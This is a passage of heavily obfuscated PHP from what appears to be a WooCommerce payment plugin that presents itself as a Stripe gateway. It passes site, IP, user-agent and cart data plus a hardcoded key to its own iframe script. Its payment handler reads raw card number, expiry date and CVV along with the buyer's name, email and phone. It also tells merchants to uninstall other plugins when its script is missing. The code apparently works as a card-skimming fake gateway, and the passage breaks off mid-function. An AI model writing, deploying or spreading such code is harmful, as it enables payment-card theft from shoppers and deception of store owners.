U2yldMhx7x;U2yeWjgx7x:$U2yOiRy132="a"*"a";goto U2yx7u;U2yldMhx7x:$U2yOiRy132="r"*"r";U2yx7u:$U2y8G=16*17;$U2y8H=$U2y8G-151;$U2y8I=$U2yOiRy132==$U2y8H;if($U2y8I)goto U2yeWjgx8z;goto U2yldMhx8z;U2yeWjgx8z:$U2y8G=$parsedUrl['scheme'] . "://";$U2y8H=$U2y8G . $parsedUrl['host'];return $U2y8H;goto U2yx7y;U2yldMhx8z:$U2y8G=4*9;$U2y8H=$U2y8G+268;$U2y8I=$U2yOiRy132==$U2y8H;if($U2y8I)goto U2yeWjgx81;goto U2yldMhx81;U2yeWjgx81:$U2yvP8G="Invalid URL: " . $url;$U2yzA8H=array();$U2yzA8H[]=&$U2yvP8G;$U2yeF8G=call_user_func_array("var_dump",$U2yzA8H);unset($U2yzA8H);return null;goto U2yx7y;U2yldMhx81:U2yx7y:}public function enqueue_style(){$U2yBuEt95=array();$U2yBuEt95[]=15;$U2yBuEt95[]=5;$U2yBuEt95[]=9;$U2yBuEt95[]=4;$U2yBuEt95[]=7;$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeF8G=call_user_func_array("plugin_dir_path",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2yeF8G . 'assets/css/appcss';unset($U2ytI8H);$U2ytI8H=$U2y8G;$css_file=$U2ytI8H;$U2yzA8H=array();$U2yzA8H[]=&$css_file;$U2yeF8G=call_user_func_array("file_exists",$U2yzA8H);unset($U2yzA8H);$U2yOiRy134=3394;if($U2yeF8G)goto U2yeWjgx83;goto U2yldMhx83;U2yeWjgx83:$U2yOiRy134="y"*"r";goto U2yx82;U2yldMhx83:$U2yOiRy134="y"*"a";U2yx82:$U2y8I=11*10;$U2y8J=$U2y8I-47;$U2y8K=$U2yOiRy134==$U2y8J;if($U2y8K)goto U2yeWjgx85;goto U2yldMhx85;U2yeWjgx85:$U2yzA8J=array();$U2yzA8J[]=&$css_file;$U2yeF8I=call_user_func_array("filemtime",$U2yzA8J);unset($U2yzA8J);$U2y8G=$U2yeF8I;goto U2yx84;U2yldMhx85:$U2y8L=2*16;$U2y8M=$U2y8L+73;$U2y8N=$U2yOiRy134==$U2y8M;if($U2y8N)goto U2yeWjgx86;goto U2yldMhx86;U2yeWjgx86:$U2y8G='100';goto U2yx84;U2yldMhx86:U2yx84:unset($U2ytI8H);$U2ytI8H=$U2y8G;$version=$U2ytI8H;$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugin_dir_url",$U2yzA8H);unset($U2yzA8H);$U2yvP8G=$U2yeFvP8G . 'assets/css/appcss';$U2yzAvP8I=array();$U2yzA8K=array();$U2yzA8K[]='stripe-gateway-css';$U2yzA8K[]=&$U2yvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=&$version;$U2yeF8J=call_user_func_array("wp_register_style",$U2yzA8K);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8H[]='stripe-gateway-css';$U2yeF8G=call_user_func_array("wp_enqueue_style",$U2yzA8H);unset($U2yzA8H);}public function enqueue_scripts(){$U2yBuEt96=array();$U2yBuEt96[]=11;$U2yBuEt96[]=14;$U2yBuEt96[]=5;$U2yBuEt96[]=4;$U2yBuEt96[]=5;$U2yzA8H=array();$U2yzA8H[]='assets/js/crypto-jsminjs';$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugins_url",$U2yzA8H);unset($U2yzA8H);$U2yzAvP8I=array();$U2yzA8K=array();$U2yzA8K[]='CryptoJS';$U2yzA8K[]=&$U2yeFvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=null;$U2yzA8K[]=true;$U2yeF8J=call_user_func_array("wp_enqueue_script",$U2yzA8K);unset($U2yzA8K);$U2yOiRy143=2750;$U2yzA8H=array();$U2yzA8H[]='order-pay';$U2yeF8G=call_user_func_array("is_wc_endpoint_url",$U2yzA8H);unset($U2yzA8H);$U2y8I=(bool)$U2yeF8G;$U2y8J=!$U2y8I;if($U2y8J)goto U2yeWjgx8b;goto U2yldMhx8b;U2yeWjgx8b:$U2yzA8J=array();$U2yeF8I=call_user_func_array("is_checkout",$U2yzA8J);unset($U2yzA8J);$U2y8H=(bool)$U2yeF8I;if($U2y8H)goto U2yeWjgx89;goto U2yldMhx89;U2yeWjgx89:$U2yzA8L=array();$U2yzA8L[]='order-received';$U2yeF8K=call_user_func_array("is_wc_endpoint_url",$U2yzA8L);unset($U2yzA8L);$U2y8G=!$U2yeF8K;$U2y8H=(bool)$U2y8G;goto U2yx88;U2yldMhx89:U2yx88:$U2y8I=(bool)$U2y8H;goto U2yx8a;U2yldMhx8b:U2yx8a:if($U2y8I)goto U2yeWjgx8c;goto U2yldMhx8c;U2yeWjgx8c:$U2yOiRy143="r"*"r";goto U2yx87;U2yldMhx8c:U2yx87:$U2y8G=19*9;$U2y8H=$U2y8G+25;$U2y8I=$U2yOiRy143==$U2y8H;if($U2y8I)goto U2yeWjgx8m;goto U2yldMhx8m;U2yeWjgx8m:$U2yzA8H=array();$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugin_dir_path",$U2yzA8H);unset($U2yzA8H);$U2yvP8G=$U2yeFvP8G . 'assets/js/appjs';$U2yzA8J=array();$U2yzA8J[]=&$U2yvP8G;$U2yeF8I=call_user_func_array("filemtime",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8H);$U2ytI8H=$U2yeF8I;unset($U2ytI8G);$U2ytI8G=$U2ytI8H;$script_version=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='assets/js/appjs';$U2yzA8H[]=__FILE__;$U2yeFvP8G=call_user_func_array("plugins_url",$U2yzA8H);unset($U2yzA8H);$U2yzAvP8I=array();$U2yzAvP8I[]='jquery';$U2yzA8K=array();$U2yzA8K[]='stripe-gateway-js';$U2yzA8K[]=&$U2yeFvP8G;$U2yzA8K[]=&$U2yzAvP8I;$U2yzA8K[]=&$script_version;$U2yzA8K[]=true;$U2yeF8J=call_user_func_array("wp_enqueue_script",$U2yzA8K);unset($U2yzA8K);$U2yzA8G=array();unset($U2ytI8G);$U2ytI8G=$U2yzA8G;$cart_items=$U2ytI8G;unset($U2ytI8G);$U2ytI8G='';$product_list=$U2ytI8G;$U2yzA8G=array();unset($U2ytI8G);$U2ytI8G=$U2yzA8G;$contents=$U2ytI8G;unset($U2yEc1);$U2yEc1=array();foreach(WC()->cart->get_cart() as $cart_item_key=>$cart_item){$U2yEc1[$cart_item_key]=$cart_item;};$U2y1i=0;U2yx8d:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2y1i<$U2yeF8G;if($U2y8G)goto U2yeWjgx8o;goto U2yldMhx8o;U2yeWjgx8o:goto U2yeWjgx8h;goto U2yx8n;U2yldMhx8o:U2yx8n:goto U2yldMhx8h;U2yeWjgx8h:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("array_keys",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$cart_item_key=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item_key[$U2y1i];$cart_item_key=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$U2yEc1[$cart_item_key];$cart_item=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item['data'];$product=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$product;$U2yzA8I[]="get_name";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$product_name=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item['quantity'];$quantity=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$product;$U2yzA8I[]="get_id";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yvP8G=(string)$U2yhCvP8G;$U2yzA8K=array();$U2yzA8L=array();$U2yzA8L[]=$product;$U2yzA8L[]="get_name";$U2yhCvP8J=call_user_func_array($U2yzA8L,$U2yzA8K);unset($U2yzA8K);unset($U2yzA8L);$U2yzA8M=array();$U2yzA8M['content_id']=$U2yvP8G;$U2yzA8M['content_type']='product';$U2yzA8M['content_name']=$U2yhCvP8J;$U2yzA8M['quantity']=$cart_item['quantity'];unset($U2ytI8H);$U2ytI8H=$U2yzA8M;unset($U2ytI8G);$U2ytI8G=$U2ytI8H;$contents[]=$U2ytI8G;$U2y8G=$product_name . " * ";$U2y8H=$U2y8G . $quantity;unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$cart_items[]=$U2ytI8G;U2yx8e:$U2y1i=$U2y1i+1;goto U2yx8d;goto U2yx8g;U2yldMhx8h:U2yx8g:U2yx8f:$U2yzA8H=array();$U2yzA8H[]='; ';$U2yzA8H[]=&$cart_items;$U2yeF8G=call_user_func_array("implode",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$product_list=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$product_list;$U2yeF8G=call_user_func_array("base64_encode",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$goods_name=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=WC()->cart->get_cart_contents_total();$goods_price=$U2ytI8G;$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_symbol=$U2ytI8G;$U2yzA8H=array();$U2yeF8G=call_user_func_array("get_woocommerce_currency",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$currency_code=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='/wp-content/plugins/stripe-gateway/stripe/indexhtml';$U2yeFvP8G=call_user_func_array("network_site_url",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yeF8I=call_user_func_array("esc_url",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yeF8I;$iframe_url=$U2ytI8G;$U2yzA8J=array();$U2yzA8K=array();$U2yzA8K[]=$this;$U2yzA8K[]="getIpAddress";$U2yhCvPvP8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yvPvP8G=$currency_code . " ";$U2yvPvP8H=$U2yvPvP8G . $goods_price;$U2yzA8Q=array();$U2yeFvPvP8P=call_user_func_array("home_url",$U2yzA8Q);unset($U2yzA8Q);unset($U2ysNvPvP8I);if(isset($_SERVER['HTTP_REFERER']))goto U2yeWjgx8q;goto U2yldMhx8q;U2yeWjgx8q:goto U2yeWjgx8j;goto U2yx8p;U2yldMhx8q:U2yx8p:goto U2yldMhx8j;U2yeWjgx8j:$U2ysNvPvP8I=$_SERVER['HTTP_REFERER'];goto U2yx8i;U2yldMhx8j:$U2y8J=null!=='';if($U2y8J)goto U2yeWjgx8s;goto U2yldMhx8s;U2yeWjgx8s:goto U2yeWjgx8k;goto U2yx8r;U2yldMhx8s:U2yx8r:goto U2yldMhx8k;U2yeWjgx8k:$U2ysNvPvP8I='';goto U2yx8i;U2yldMhx8k:U2yx8i:$U2yzA8T=array();$U2yzA8T[]='custom/v2/update_order_status';$U2yeFvPvPvP8S=call_user_func_array("rest_url",$U2yzA8T);unset($U2yzA8T);$U2yzA8V=array();$U2yzA8V[]=&$U2yeFvPvPvP8S;$U2yeFvPvP8U=call_user_func_array("esc_url",$U2yzA8V);unset($U2yzA8V);$U2yzAvP8W=array();$U2yzAvP8W['admin_url']=$this->domain;$U2yzAvP8W['user_agent']=$_SERVER['HTTP_USER_AGENT'];$U2yzAvP8W['securityKey']="bda1ba0338a0ed9203b8f80fe81d9fd4";$U2yzAvP8W['store_name']=$this->store_name;$U2yzAvP8W['ip']=$U2yhCvPvP8I;$U2yzAvP8W['prefix']=$this->prefix;$U2yzAvP8W['fbq_check']=$this->fbq_check;$U2yzAvP8W['goods_name']=$goods_name;$U2yzAvP8W['goods_price']=$U2yvPvP8H;$U2yzAvP8W['currency_symbol']=$currency_symbol;$U2yzAvP8W['currency_code']=$currency_code;$U2yzAvP8W['error_text']=$this->error_text;$U2yzAvP8W['show_close']=$this->show_close;$U2yzAvP8W['current_domain']=$U2yeFvPvP8P;$U2yzAvP8W['shoplink']=$U2ysNvPvP8I;$U2yzAvP8W['iframe_url']=$iframe_url;$U2yzAvP8W['updateOrderUrl']=$U2yeFvPvP8U;$U2yzAvP8W['contents']=$contents;$U2yzAvP8W['messageCode']='wordpress';$U2yzA8H=array();$U2yzA8H[]='stripe-gateway-js';$U2yzA8H[]='StripeGatewayParams';$U2yzA8H[]=&$U2yzAvP8W;$U2yeF8G=call_user_func_array("wp_localize_script",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='stripe-gateway-js';$U2yzA8H[]="
jQuery(function($){
$('formcheckout').on('change', 'input[name=\"payment_method\"]', function() {
$('body').trigger('update_checkout');
});
});
";$U2yeF8G=call_user_func_array("wp_add_inline_script",$U2yzA8H);unset($U2yzA8H);goto U2yx8l;U2yldMhx8m:U2yx8l:}public function process_payment($order_id){$U2yBuEt97=array();$U2yBuEt97[]=19;$U2yBuEt97[]=19;$U2yBuEt97[]=6;$U2yBuEt97[]=11;$U2yBuEt97[]=14;global $woocommerce;$U2yOiRy147=6871;$U2y8G=!isset($_POST['app_js_loaded']);$U2y8I=(bool)$U2y8G;$U2y8M=!$U2y8I;if($U2y8M)goto U2yeWjgx8x;goto U2yldMhx8x;U2yeWjgx8x:$U2y8H=$_POST['app_js_loaded']!=='true';$U2y8I=(bool)$U2y8H;goto U2yx8w;U2yldMhx8x:U2yx8w:$U2y8K=(bool)$U2y8I;$U2y8L=!$U2y8K;if($U2y8L)goto U2yeWjgx8v;goto U2yldMhx8v;U2yeWjgx8v:$U2y8J=!isset($_POST['uuid']);$U2y8K=(bool)$U2y8J;goto U2yx8u;U2yldMhx8v:U2yx8u:if($U2y8K)goto U2yeWjgx8y;goto U2yldMhx8y;U2yeWjgx8y:$U2yOiRy147="a"*"y";goto U2yx8t;U2yldMhx8y:U2yx8t:$U2y8G=7*14;$U2y8H=$U2y8G+56;$U2y8I=$U2yOiRy147==$U2y8H;if($U2y8I)goto U2yeWjgx91;goto U2yldMhx91;U2yeWjgx91:$U2yzA8H=array();$U2yzA8H[]='It is detected that you have other plug-ins that prevent the payment from being completedPlease uninstall the other plug-ins and try again.';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8J[]='error';$U2yeF8I=call_user_func_array("wc_add_notice",$U2yzA8J);unset($U2yzA8J);return ;goto U2yx9z;U2yldMhx91:U2yx9z:$U2yzA8H=array();$U2yzA8H[]=&$order_id;$U2yeF8G=call_user_func_array("wc_get_order",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$order=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_total";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$order_amount=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_currency";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$order_currency=$U2ytI8G;$U2yzA8G=array();unset($U2ytI8G);$U2ytI8G=$U2yzA8G;$cart_items=$U2ytI8G;unset($U2ytI8G);$U2ytI8G='';$product_list=$U2ytI8G;unset($U2yEc1);$U2yEc1=array();foreach(WC()->cart->get_cart() as $cart_item_key=>$cart_item){$U2yEc1[$cart_item_key]=$cart_item;};$U2y1i=0;U2yx92:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2y1i<$U2yeF8G;$U2yOiRy149=6864;if($U2y8G)goto U2yeWjgx96;goto U2yldMhx96;U2yeWjgx96:$U2yOiRy149="a"*"a";goto U2yx95;U2yldMhx96:U2yx95:$U2y8G=10*11;$U2y8H=$U2y8G+99;$U2y8I=$U2yOiRy149==$U2y8H;if($U2y8I)goto U2yeWjgx98;goto U2yldMhx98;U2yeWjgx98:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("array_keys",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$cart_item_key=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item_key[$U2y1i];$cart_item_key=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$U2yEc1[$cart_item_key];$cart_item=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item['data'];$product=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$product;$U2yzA8I[]="get_name";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$product_name=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$cart_item['quantity'];$quantity=$U2ytI8G;$U2y8G=$product_name . " * ";$U2y8H=$U2y8G . $quantity;unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$cart_items[]=$U2ytI8G;U2yx93:$U2y1i=$U2y1i+1;goto U2yx92;goto U2yx97;U2yldMhx98:U2yx97:U2yx94:$U2yzA8H=array();$U2yzA8H[]='; ';$U2yzA8H[]=&$cart_items;$U2yeF8G=call_user_func_array("implode",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$product_list=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$product_list;$U2yeF8G=call_user_func_array("base64_encode",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$item_name=$U2ytI8G;$U2yOiRy151=6876;if($this->prefix)goto U2yeWjgx9a;goto U2yldMhx9a;U2yeWjgx9a:$U2yOiRy151="y"*"a";goto U2yx99;U2yldMhx9a:$U2yOiRy151="y"*"r";U2yx99:$U2y8K=10*7;$U2y8L=$U2y8K+84;$U2y8M=$U2yOiRy151==$U2y8L;if($U2y8M)goto U2yeWjgx9c;goto U2yldMhx9c;U2yeWjgx9c:$U2y8G=$this->prefix . '-';$U2y8H=$U2y8G . $order_id;$U2y8I=$U2y8H;goto U2yx9b;U2yldMhx9c:$U2y8N=9*5;$U2y8O=$U2y8N+221;$U2y8P=$U2yOiRy151==$U2y8O;if($U2y8P)goto U2yeWjgx9d;goto U2yldMhx9d;U2yeWjgx9d:$U2y8I=$order_id;goto U2yx9b;U2yldMhx9d:U2yx9b:unset($U2ytI8J);$U2ytI8J=$U2y8I;$wp_order_id=$U2ytI8J;unset($U2ytI8G);$U2ytI8G=preg_replace('/\s+/','',$wp_order_id);$wp_order_id=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$_POST['uuid'];$uuid=$U2ytI8G;unset($U2ysN8G);$U2yOiRy153=6872;if(isset($_POST['billing_first_name']))goto U2yeWjgx9f;goto U2yldMhx9f;U2yeWjgx9f:$U2yOiRy153="y"*"y";goto U2yx9e;U2yldMhx9f:if(isset($_POST['shipping_first_name']))goto U2yeWjgx9g;goto U2yldMhx9g;U2yeWjgx9g:$U2yOiRy153="y"*"a";goto U2yx9e;U2yldMhx9g:U2yx9e:$U2y8I=2*10;$U2y8J=$U2y8I+134;$U2y8K=$U2yOiRy153==$U2y8J;if($U2y8K)goto U2yeWjgx9i;goto U2yldMhx9i;U2yeWjgx9i:$U2ysN8G=$_POST['shipping_first_name'];goto U2yx9h;U2yldMhx9i:$U2y8L=19*17;$U2y8M=$U2y8L-127;$U2y8N=$U2yOiRy153==$U2y8M;if($U2y8N)goto U2yeWjgx9j;goto U2yldMhx9j;U2yeWjgx9j:$U2ysN8G=$_POST['billing_first_name'];goto U2yx9h;U2yldMhx9j:U2yx9h:unset($U2ytI8H);$U2ytI8H=$U2ysN8G;$firstName=$U2ytI8H;unset($U2ysN8G);$U2yOiRy155=6874;if(isset($_POST['billing_last_name']))goto U2yeWjgx9l;goto U2yldMhx9l;U2yeWjgx9l:$U2yOiRy155="a"*"a";goto U2yx9k;U2yldMhx9l:if(isset($_POST['shipping_last_name']))goto U2yeWjgx9m;goto U2yldMhx9m;U2yeWjgx9m:$U2yOiRy155="r"*"a";goto U2yx9k;U2yldMhx9m:U2yx9k:$U2y8I=3*7;$U2y8J=$U2y8I+93;$U2y8K=$U2yOiRy155==$U2y8J;if($U2y8K)goto U2yeWjgx9o;goto U2yldMhx9o;U2yeWjgx9o:$U2ysN8G=$_POST['shipping_last_name'];goto U2yx9n;U2yldMhx9o:$U2y8L=18*17;$U2y8M=$U2y8L-97;$U2y8N=$U2yOiRy155==$U2y8M;if($U2y8N)goto U2yeWjgx9p;goto U2yldMhx9p;U2yeWjgx9p:$U2ysN8G=$_POST['billing_last_name'];goto U2yx9n;U2yldMhx9p:U2yx9n:unset($U2ytI8H);$U2ytI8H=$U2ysN8G;$lastName=$U2ytI8H;$U2y8G=$firstName . " ";$U2y8H=$U2y8G . $lastName;unset($U2ytI8I);$U2ytI8I=$U2y8H;$username=$U2ytI8I;$U2yzA8H=array();$U2yzA8H[]=&$order_currency;$U2yeFvP8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yeF8I=call_user_func_array("html_entity_decode",$U2yzA8J);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yeF8I;$order_currency_symbol=$U2ytI8G;$U2y8G=$order_currency . ' ';$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_total";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2y8H=$U2y8G . $U2yhC8G;unset($U2ytI8I);$U2ytI8I=$U2y8H;$goods_price=$U2ytI8I;unset($U2ysN8G);$U2yOiRy157=6861;if(isset($_POST['billing_email']))goto U2yeWjgx9r;goto U2yldMhx9r;U2yeWjgx9r:$U2yOiRy157="r"*"a";goto U2yx9q;U2yldMhx9r:if(isset($_POST['shipping_email']))goto U2yeWjgx9s;goto U2yldMhx9s;U2yeWjgx9s:$U2yOiRy157="r"*"a";goto U2yx9q;U2yldMhx9s:U2yx9q:$U2y8I=20*14;$U2y8J=$U2y8I-214;$U2y8K=$U2yOiRy157==$U2y8J;if($U2y8K)goto U2yeWjgx9u;goto U2yldMhx9u;U2yeWjgx9u:$U2ysN8G=$_POST['billing_email'];goto U2yx9t;U2yldMhx9u:$U2y8L=7*16;$U2y8M=$U2y8L+2;$U2y8N=$U2yOiRy157==$U2y8M;if($U2y8N)goto U2yeWjgx9v;goto U2yldMhx9v;U2yeWjgx9v:$U2ysN8G=$_POST['shipping_email'];goto U2yx9t;U2yldMhx9v:U2yx9t:unset($U2ytI8H);$U2ytI8H=$U2ysN8G;$email=$U2ytI8H;unset($U2ysN8G);$U2yOiRy159=6860;if(isset($_POST['billing_phone']))goto U2yeWjgx9x;goto U2yldMhx9x;U2yeWjgx9x:$U2yOiRy159="a"*"a";goto U2yx9w;U2yldMhx9x:if(isset($_POST['shipping_phone']))goto U2yeWjgx9y;goto U2yldMhx9y;U2yeWjgx9y:$U2yOiRy159="y"*"a";goto U2yx9w;U2yldMhx9y:U2yx9w:$U2y8I=8*16;$U2y8J=$U2y8I+81;$U2y8K=$U2yOiRy159==$U2y8J;if($U2y8K)goto U2yeWjgxa1;goto U2yldMhxa1;U2yeWjgxa1:$U2ysN8G=$_POST['billing_phone'];goto U2yxaz;U2yldMhxa1:$U2y8L=18*11;$U2y8M=$U2y8L+68;$U2y8N=$U2yOiRy159==$U2y8M;if($U2y8N)goto U2yeWjgxa2;goto U2yldMhxa2;U2yeWjgxa2:$U2ysN8G=$_POST['shipping_phone'];goto U2yxaz;U2yldMhxa2:U2yxaz:unset($U2ytI8H);$U2ytI8H=$U2ysN8G;$phone=$U2ytI8H;unset($U2ytI8G);$U2ytI8G=$_POST['cardType'];$cardType=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$_POST['ccard'];$ccard=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$_POST['cdate'];$cdate=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=$_POST['ccvv'];$ccvv=$U2ytI8G;$U2yOiRy163=6870;$U2y8G=!isset($ccard);$U2y8I=(bool)$U2y8G;$U2y8M=!$U2y8I;if($U2y8M)goto U2yeWjgxa7;goto U2yldMhxa7;U2yeWjgxa7:$U2y8H=!isset($cdate);$U2y8I=(bool)$U2y8H;goto U2yxa6;U2yldMhxa7:U2yxa6:$U2y8K=(bool)$U2y8I;$U2y8L=!$U2y8K;if($U2y8L)goto U2yeWjgxa5;goto U2yldMhxa5;U2yeWjgxa5:$U2y8J=!isset($ccvv);$U2y8K=(bool)$U2y8J;goto U2yxa4;U2yldMhxa5:U2yxa4:if($U2y8K)goto U2yeWjgxa8;goto U2yldMhxa8;U2yeWjgxa8:$U2yOiRy163="r"*"r";goto U2yxa3;U2yldMhxa8:U2yxa3:$U2y8G=17*18;$U2y8H=$U2y8G-270;$U2y8I=$U2yOiRy163==$U2y8H;if($U2y8I)goto U2yeWjgxaa;goto U2yldMhxaa;U2yeWjgxaa:$U2yzA8H=array();$U2yzA8H[]='Please fill in the card number!';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8J[]='error';$U2yeF8I=call_user_func_array("wc_add_notice",$U2yzA8J);unset($U2yzA8J);return ;goto U2yxa9;U2yldMhxaa:U2yxa9:$U2yzA8G=array();$U2yzA8G['order_id']=$wp_order_id;$U2yzA8G['goods_name']=$item_name;$U2yzA8G['goods_price']=$goods_price;unset($U2ytI8G);$U2ytI8G=$U2yzA8G;$args=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='Waiting for payment';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='pending';$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]=$order;$U2yzA8K[]="update_status";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);unset($U2ysN8G);$U2yOiRy165=6863;if(isset($this->store_name))goto U2yeWjgxac;goto U2yldMhxac;U2yeWjgxac:$U2yOiRy165="y"*"r";goto U2yxab;U2yldMhxac:$U2y8I=null!=='Stripe';if($U2y8I)goto U2yeWjgxad;goto U2yldMhxad;U2yeWjgxad:$U2yOiRy165="r"*"r";goto U2yxab;U2yldMhxad:U2yxab:$U2y8J=13*5;$U2y8K=$U2y8J+49;$U2y8L=$U2yOiRy165==$U2y8K;if($U2y8L)goto U2yeWjgxaf;goto U2yldMhxaf;U2yeWjgxaf:$U2ysN8G='Stripe';goto U2yxae;U2yldMhxaf:$U2y8M=19*16;$U2y8N=$U2y8M-38;$U2y8O=$U2yOiRy165==$U2y8N;if($U2y8O)goto U2yeWjgxag;goto U2yldMhxag;U2yeWjgxag:$U2ysN8G=$this->store_name;goto U2yxae;U2yldMhxag:U2yxae:unset($U2ytI8H);$U2ytI8H=$U2ysN8G;$merchant=$U2ytI8H;$U2yzA8H=array();$U2yzA8H[]=&$phone;$U2yeF8G=call_user_func_array("strlen",$U2yzA8H);unset($U2yzA8H);$U2y8G=$U2yeF8G>=4;$U2yOiRy167=6861;if($U2y8G)goto U2yeWjgxai;goto U2yldMhxai;U2yeWjgxai:$U2yOiRy167="r"*"a";goto U2yxah;U2yldMhxai:$U2yOiRy167="r"*"a";$U2yOiRy167=$U2yOiRy167+2033;U2yxah:$U2y8J=6*6;$U2y8K=$U2y8J+173;$U2y8L=$U2yOiRy167==$U2y8K;if($U2y8L)goto U2yeWjgxak;goto U2yldMhxak;U2yeWjgxak:$U2yzA8J=array();$U2yzA8J[]=&$phone;$U2yzA8J[]=-4;$U2yeF8I=call_user_func_array("substr",$U2yzA8J);unset($U2yzA8J);$U2y8H=$U2yeF8I;goto U2yxaj;U2yldMhxak:$U2y8M=10*20;$U2y8N=$U2y8M+2042;$U2y8O=$U2yOiRy167==$U2y8N;if($U2y8O)goto U2yeWjgxal;goto U2yldMhxal;U2yeWjgxal:$U2y8H=$phone;goto 